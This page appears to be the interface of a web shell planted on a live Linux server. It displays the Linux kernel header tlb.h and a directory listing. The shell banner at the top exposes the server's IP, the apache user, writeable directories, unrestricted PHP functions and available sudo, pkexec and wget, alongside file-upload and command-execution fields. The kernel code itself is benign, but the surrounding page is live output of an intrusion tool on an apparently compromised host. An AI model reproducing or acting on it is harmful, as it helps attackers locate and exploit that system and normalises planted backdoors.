p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/asm-generic/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/asm-generic/tlb.h
/* include/asm-generic/tlb.h
 *
 *	Generic TLB shootdown code
 *
 * Copyright 2001 Red Hat, Inc.
 * Based on code from mm/memory.c Copyright Linus Torvalds and others.
 *
 * Copyright 2011 Red Hat, Inc., Peter Zijlstra <pzijlstr@redhat.com>
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version
 * 2 of the License, or (at your option) any later version.
 */
#ifndef _ASM_GENERIC__TLB_H
#define _ASM_GENERIC__TLB_H

#include <linux/swap.h>
#include <asm/pgalloc.h>
#include <asm/tlbflush.h>

#ifdef CONFIG_HAVE_RCU_TABLE_FREE
/*
 * Semi RCU freeing of the page directories.
 *
 * This is needed by some architectures to implement software pagetable walkers.
 *
 * gup_fast() and other software pagetable walkers do a lockless page-table
 * walk and therefore needs some synchronization with the freeing of the page
 * directories. The chosen means to accomplish that is by disabling IRQs over
 * the walk.
 *
 * Architectures that use IPIs to flush TLBs will then automagically DTRT,
 * since we unlink the page, flush TLBs, free the page. Since the disabling of
 * IRQs delays the completion of the TLB flush we can never observe an already
 * freed page.
 *
 * Architectures that do not have this (PPC) need to delay the freeing by some
 * other means, this is that means.
 *
 * What we do is batch the freed directory pages (tables) and RCU free them.
 * We use the sched RCU variant, as that guarantees that IRQ/preempt disabling
 * holds off grace periods.
 *
 * However, in order to batch these pages we need to allocate storage, this
 * allocation is deep inside the MM code and can thus easily fail on memory
 * pressure. To guarantee progress we fall back to single table freeing, see
 * the implementation of tlb_remove_table_one().
 *
 */
struct mmu_table_batch {
	struct rcu_head		rcu;
	unsigned int		nr;
	void			*tables[0];
};

#define MAX_TABLE_BATCH		\
	((PAGE_SIZE - sizeof(struct mmu_table_batch)) / sizeof(void *))

extern void tlb_table_flush(struct mmu_gather *tlb);
extern void tlb_remove_table(struct mmu_gather *tlb, void *table);

#endif

/*
 * If we can't allocate a page to make a big batch of page pointers
 * to work on, then just handle a few from the on-stack structure.
 */
#define MMU_GATHER_BUNDLE	8

struct mmu_gather_batch {
	struct mmu_gather_batch	*next;
	unsigned int		nr;
	unsigned int		max;
	struct page		*pages[0];
};

#define MAX_GATHER_BATCH	\
	((PAGE_SIZE - sizeof(struct mmu_gather_batch)) / sizeof(void *))

/*
 * Limit the maximum number of mmu_gather batches to reduce a risk of soft
 * lockups for non-preemptible kernels on huge machines when a lot of memory
 * is zapped during unmapping.
 * 10K pages freed at once should be safe even without a preemption point.
 */
#define MAX_GATHER_BATCH_COUNT	(10000UL/MAX_GATHER_BATCH)

/* struct mmu_gather is an opaque type used by the mm code for passing around
 * any data needed by arch specific code for tlb_remove_page.
 */
struct mmu_gather {
	struct mm_struct	*mm;
#ifdef CONFIG_HAVE_RCU_TABLE_FREE
	struct mmu_table_batch	*batch;
#endif
	unsigned long		start;
	unsigned long		end;
	/* we are in the middle of an operation to clear
	 * a full mm and can make some optimizations */
	unsigned int		fullmm : 1,
	/* we have performed an operation which
	 * requires a complete flush of the tlb */
				need_flush_all : 1;

	struct mmu_gather_batch *active;
	struct mmu_gather_batch	local;
	struct page		*__pages[MMU_GATHER_BUNDLE];
	unsigned int		batch_count;
};

#define HAVE_GENERIC_MMU_GATHER

void arch_tlb_gather_mmu(struct mmu_gather *tlb,
	struct mm_struct *mm, unsigned long start, unsigned long end);
void tlb_flush_mmu(struct mmu_gather *tlb);
void arch_tlb_finish_mmu(struct mmu_gather *tlb,
			 unsigned long start, unsigned long end, bool force);
int __tlb_remove_page(struct mmu_gather *tlb, struct page *page);

/* tlb_remove_page
 *	Similar to __tlb_remove_page but will call tlb_flush_mmu() itself when
 *	required.
 */
static inline void tlb_remove_page(struct mmu_gather *tlb, struct page *page)
{
	if (!__tlb_remove_page(tlb, page))
		tlb_flush_mmu(tlb);
}

static inline void __tlb_adjust_range(struct mmu_gather *tlb,
				      unsigned long address,
				      unsigned int range_size)
{
	tlb->start = min(tlb->start, address);
	tlb->end = max(tlb->end, address + range_size);
}

static inline void __tlb_reset_range(struct mmu_gather *tlb)
{
	tlb->start = TASK_SIZE;
	tlb->end = 0;
}

/*
 * In the case of tlb vma handling, we can optimise these away in the
 * case where we're doing a full MM flush.  When we're doing a munmap,
 * the vmas are adjusted to only cover the region to be torn down.
 */
#ifndef tlb_start_vma
#define tlb_start_vma(tlb, vma) do { } while (0)
#endif

#define __tlb_end_vma(tlb, vma)					\
	do {							\
		if (!tlb->fullmm && tlb->end) {			\
			tlb_flush(tlb);				\
			__tlb_reset_range(tlb);			\
		}						\
	} while (0)

#ifndef tlb_end_vma
#define tlb_end_vma	__tlb_end_vma
#endif

#ifndef __tlb_remove_tlb_entry
#define __tlb_remove_tlb_entry(tlb, ptep, address) do { } while (0)
#endif

/**
 * tlb_remove_tlb_entry - remember a pte unmapping for later tlb invalidation.
 *
 * Record the fact that pte's were really unmapped by updating the range,
 * so we can later optimise away the tlb invalidate.   This helps when
 * userspace is unmapping already-unmapped pages, which happens quite a lot.
 */
#define tlb_remove_tlb_entry(tlb, ptep, address)		\
	do {							\
		__tlb_adjust_range(tlb, address, PAGE_SIZE);	\
		__tlb_remove_tlb_entry(tlb, ptep, address);	\
	} while (0)

/**
 * tlb_remove_pmd_tlb_entry - remember a pmd mapping for later tlb invalidation
 * This is a nop so far, because only x86 needs it.
 */
#ifndef __tlb_remove_pmd_tlb_entry
#define __tlb_remove_pmd_tlb_entry(tlb, pmdp, address) do {} while (0)
#endif

#define tlb_remove_pmd_tlb_entry(tlb, pmdp, address)			\
	do {								\
		__tlb_adjust_range(tlb, address, HPAGE_PMD_SIZE);	\
		__tlb_remove_pmd_tlb_entry(tlb, pmdp, address);		\
	} while (0)

/**
 * tlb_remove_pud_tlb_entry - remember a pud mapping for later tlb
 * invalidation. This is a nop so far, because only x86 needs it.
 */
#ifndef __tlb_remove_pud_tlb_entry
#define __tlb_remove_pud_tlb_entry(tlb, pudp, address) do {} while (0)
#endif

#define tlb_remove_pud_tlb_entry(tlb, pudp, address)			\
	do {								\
		__tlb_adjust_range(tlb, address, PAGE_SIZE);		\
		__tlb_remove_pud_tlb_entry(tlb, pudp, address);		\
	} while (0)

#define pte_free_tlb(tlb, ptep, address)			\
	do {							\
		__tlb_adjust_range(tlb, address, PAGE_SIZE);	\
		__pte_free_tlb(tlb, ptep, address);		\
	} while (0)

#ifndef __ARCH_HAS_4LEVEL_HACK
#define pud_free_tlb(tlb, pudp, address)			\
	do {							\
		__tlb_adjust_range(tlb, address, PAGE_SIZE);	\
		__pud_free_tlb(tlb, pudp, address);		\
	} while (0)
#endif

#define pmd_free_tlb(tlb, pmdp, address)			\
	do {							\
		__tlb_adjust_range(tlb, address, PAGE_SIZE);	\
		__pmd_free_tlb(tlb, pmdp, address);		\
	} while (0)

#define tlb_migrate_finish(mm) do {} while (0)

#endif /* _ASM_GENERIC__TLB_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:09
0 / 0
0755
bitops
--
September 29 2025 07:01:10
0 / 0
0755
4level-fixup.h
1.004 KB
November 06 2023 09:15:52
0 / 0
0644
Kbuild.asm
0.043 KB
November 06 2023 09:15:52
0 / 0
0644
atomic-long.h
5.121 KB
November 06 2023 09:15:52
0 / 0
0644
atomic.h
4.346 KB
November 06 2023 09:15:52
0 / 0
0644
atomic64.h
1.797 KB
November 06 2023 09:15:52
0 / 0
0644
audit_change_attr.h
0.409 KB
November 06 2023 09:15:52
0 / 0
0644
audit_dir_write.h
0.45 KB
November 06 2023 09:15:52
0 / 0
0644
audit_read.h
0.197 KB
November 06 2023 09:15:52
0 / 0
0644
audit_signal.h
0.035 KB
November 06 2023 09:15:52
0 / 0
0644
audit_write.h
0.32 KB
November 06 2023 09:15:52
0 / 0
0644
barrier.h
2.486 KB
November 06 2023 09:15:52
0 / 0
0644
bitops.h
1.055 KB
November 06 2023 09:15:52
0 / 0
0644
bitsperlong.h
0.54 KB
November 06 2023 09:15:52
0 / 0
0644
bug.h
5.729 KB
November 06 2023 09:15:52
0 / 0
0644
bugs.h
0.223 KB
November 06 2023 09:15:52
0 / 0
0644
cache.h
0.337 KB
November 06 2023 09:15:52
0 / 0
0644
cacheflush.h
1.271 KB
November 06 2023 09:15:52
0 / 0
0644
checksum.h
2.236 KB
November 06 2023 09:15:52
0 / 0
0644
clkdev.h
0.657 KB
November 06 2023 09:15:52
0 / 0
0644
cmpxchg-local.h
1.38 KB
November 06 2023 09:15:52
0 / 0
0644
cmpxchg.h
2.311 KB
November 06 2023 09:15:52
0 / 0
0644
cputime.h
0.286 KB
November 06 2023 09:15:52
0 / 0
0644
cputime_jiffies.h
2.076 KB
November 06 2023 09:15:52
0 / 0
0644
cputime_nsecs.h
3.055 KB
November 06 2023 09:15:52
0 / 0
0644
current.h
0.212 KB
November 06 2023 09:15:52
0 / 0
0644
delay.h
1.092 KB
November 06 2023 09:15:52
0 / 0
0644
device.h
0.239 KB
November 06 2023 09:15:52
0 / 0
0644
div64.h
1.339 KB
November 06 2023 09:15:52
0 / 0
0644
dma-coherent.h
1.03 KB
November 06 2023 09:15:52
0 / 0
0644
dma.h
0.502 KB
November 06 2023 09:15:52
0 / 0
0644
emergency-restart.h
0.204 KB
November 06 2023 09:15:52
0 / 0
0644
exec.h
0.681 KB
November 06 2023 09:15:52
0 / 0
0644
fb.h
0.227 KB
November 06 2023 09:15:52
0 / 0
0644
ftrace.h
0.449 KB
November 06 2023 09:15:52
0 / 0
0644
futex.h
1.247 KB
November 06 2023 09:15:52
0 / 0
0644
getorder.h
1.414 KB
November 06 2023 09:15:52
0 / 0
0644
gpio.h
5.821 KB
November 06 2023 09:15:52
0 / 0
0644
hardirq.h
0.481 KB
November 06 2023 09:15:52
0 / 0
0644
hugetlb.h
0.74 KB
November 06 2023 09:15:52
0 / 0
0644
hw_irq.h
0.264 KB
November 06 2023 09:15:52
0 / 0
0644
ide_iops.h
0.734 KB
November 06 2023 09:15:52
0 / 0
0644
int-l64.h
0.851 KB
November 06 2023 09:15:52
0 / 0
0644
int-ll64.h
0.872 KB
November 06 2023 09:15:52
0 / 0
0644
io-64-nonatomic-hi-lo.h
0.59 KB
November 06 2023 09:15:52
0 / 0
0644
io-64-nonatomic-lo-hi.h
0.59 KB
November 06 2023 09:15:52
0 / 0
0644
io.h
19.255 KB
November 06 2023 09:15:52
0 / 0
0644
ioctl.h
0.387 KB
November 06 2023 09:15:52
0 / 0
0644
iomap.h
2.832 KB
November 06 2023 09:15:52
0 / 0
0644
irq.h
0.355 KB
November 06 2023 09:15:52
0 / 0
0644
irq_regs.h
0.957 KB
November 06 2023 09:15:52
0 / 0
0644
irq_work.h
0.15 KB
November 06 2023 09:15:52
0 / 0
0644
irqflags.h
1.469 KB
November 06 2023 09:15:52
0 / 0
0644
kdebug.h
0.14 KB
November 06 2023 09:15:52
0 / 0
0644
kexec.h
0.33 KB
November 06 2023 09:15:52
0 / 0
0644
kmap_types.h
0.155 KB
November 06 2023 09:15:52
0 / 0
0644
kvm_para.h
0.431 KB
November 06 2023 09:15:52
0 / 0
0644
libata-portmap.h
0.149 KB
November 06 2023 09:15:52
0 / 0
0644
linkage.h
0.22 KB
November 06 2023 09:15:52
0 / 0
0644
local.h
2.19 KB
November 06 2023 09:15:52
0 / 0
0644
local64.h
3.758 KB
November 06 2023 09:15:52
0 / 0
0644
memory_model.h
2.12 KB
November 06 2023 09:15:52
0 / 0
0644
mm-arch-hooks.h
0.379 KB
November 06 2023 09:15:52
0 / 0
0644
mm_hooks.h
0.938 KB
November 06 2023 09:15:52
0 / 0
0644
mmu.h
0.4 KB
November 06 2023 09:15:52
0 / 0
0644
mmu_context.h
0.915 KB
November 06 2023 09:15:52
0 / 0
0644
module.h
1.054 KB
November 06 2023 09:15:52
0 / 0
0644
mutex-dec.h
2.695 KB
November 06 2023 09:15:52
0 / 0
0644
mutex-null.h
0.633 KB
November 06 2023 09:15:52
0 / 0
0644
mutex-xchg.h
3.722 KB
November 06 2023 09:15:52
0 / 0
0644
mutex.h
0.25 KB
November 06 2023 09:15:52
0 / 0
0644
page.h
2.466 KB
November 06 2023 09:15:52
0 / 0
0644
param.h
0.32 KB
November 06 2023 09:15:52
0 / 0
0644
parport.h
0.552 KB
November 06 2023 09:15:52
0 / 0
0644
pci-dma-compat.h
0 KB
May 09 2024 13:06:31
0 / 0
0644
pci.h
0.529 KB
November 06 2023 09:15:52
0 / 0
0644
pci_iomap.h
1.496 KB
November 06 2023 09:15:52
0 / 0
0644
percpu.h
3.17 KB
November 06 2023 09:15:52
0 / 0
0644
pgalloc.h
0.296 KB
November 06 2023 09:15:52
0 / 0
0644
pgtable-nopmd.h
1.858 KB
November 06 2023 09:15:52
0 / 0
0644
pgtable-nopud.h
1.779 KB
November 06 2023 09:15:52
0 / 0
0644
pgtable.h
24.551 KB
November 06 2023 09:15:52
0 / 0
0644
ptrace.h
1.577 KB
November 06 2023 09:15:52
0 / 0
0644
qrwlock.h
5.279 KB
November 06 2023 09:15:52
0 / 0
0644
qrwlock_remap.h
1.495 KB
November 06 2023 09:15:52
0 / 0
0644
qrwlock_types.h
0.413 KB
November 06 2023 09:15:52
0 / 0
0644
qspinlock.h
4.218 KB
November 06 2023 09:15:52
0 / 0
0644
qspinlock_types.h
2.763 KB
November 06 2023 09:15:52
0 / 0
0644
resource.h
1.036 KB
November 06 2023 09:15:52
0 / 0
0644
rtc.h
5.334 KB
November 06 2023 09:15:52
0 / 0
0644
rwsem.h
2.521 KB
November 06 2023 09:15:52
0 / 0
0644
scatterlist.h
0.771 KB
November 06 2023 09:15:52
0 / 0
0644
sections.h
3.471 KB
November 06 2023 09:15:52
0 / 0
0644
segment.h
0.243 KB
November 06 2023 09:15:52
0 / 0
0644
serial.h
0.299 KB
November 06 2023 09:15:52
0 / 0
0644
siginfo.h
0.89 KB
November 06 2023 09:15:52
0 / 0
0644
signal.h
0.263 KB
November 06 2023 09:15:52
0 / 0
0644
sizes.h
0.076 KB
November 06 2023 09:15:52
0 / 0
0644
spinlock.h
0.283 KB
November 06 2023 09:15:52
0 / 0
0644
statfs.h
0.127 KB
November 06 2023 09:15:52
0 / 0
0644
string.h
0.274 KB
November 06 2023 09:15:52
0 / 0
0644
switch_to.h
0.969 KB
November 06 2023 09:15:52
0 / 0
0644
syscall.h
6.179 KB
November 06 2023 09:15:52
0 / 0
0644
syscalls.h
0.684 KB
November 06 2023 09:15:52
0 / 0
0644
termios-base.h
2.073 KB
November 06 2023 09:15:52
0 / 0
0644
termios.h
2.77 KB
November 06 2023 09:15:52
0 / 0
0644
timex.h
0.458 KB
November 06 2023 09:15:52
0 / 0
0644
tlb.h
6.997 KB
November 06 2023 09:15:52
0 / 0
0644
tlbflush.h
0.436 KB
November 06 2023 09:15:52
0 / 0
0644
topology.h
2.112 KB
November 06 2023 09:15:52
0 / 0
0644
trace_clock.h
0.344 KB
November 06 2023 09:15:52
0 / 0
0644
uaccess-unaligned.h
0.716 KB
November 06 2023 09:15:52
0 / 0
0644
uaccess.h
7.635 KB
November 06 2023 09:15:52
0 / 0
0644
unaligned.h
0.886 KB
November 06 2023 09:15:52
0 / 0
0644
unistd.h
0.272 KB
November 06 2023 09:15:52
0 / 0
0644
user.h
0.236 KB
November 06 2023 09:15:52
0 / 0
0644
vga.h
0.535 KB
November 06 2023 09:15:52
0 / 0
0644
vmlinux.lds.h
26.37 KB
November 06 2023 09:15:52
0 / 0
0644
vtime.h
0 KB
May 09 2024 13:06:31
0 / 0
0644
word-at-a-time.h
1.161 KB
November 06 2023 09:15:52
0 / 0
0644
xor.h
13.634 KB
November 06 2023 09:15:52
0 / 0
0644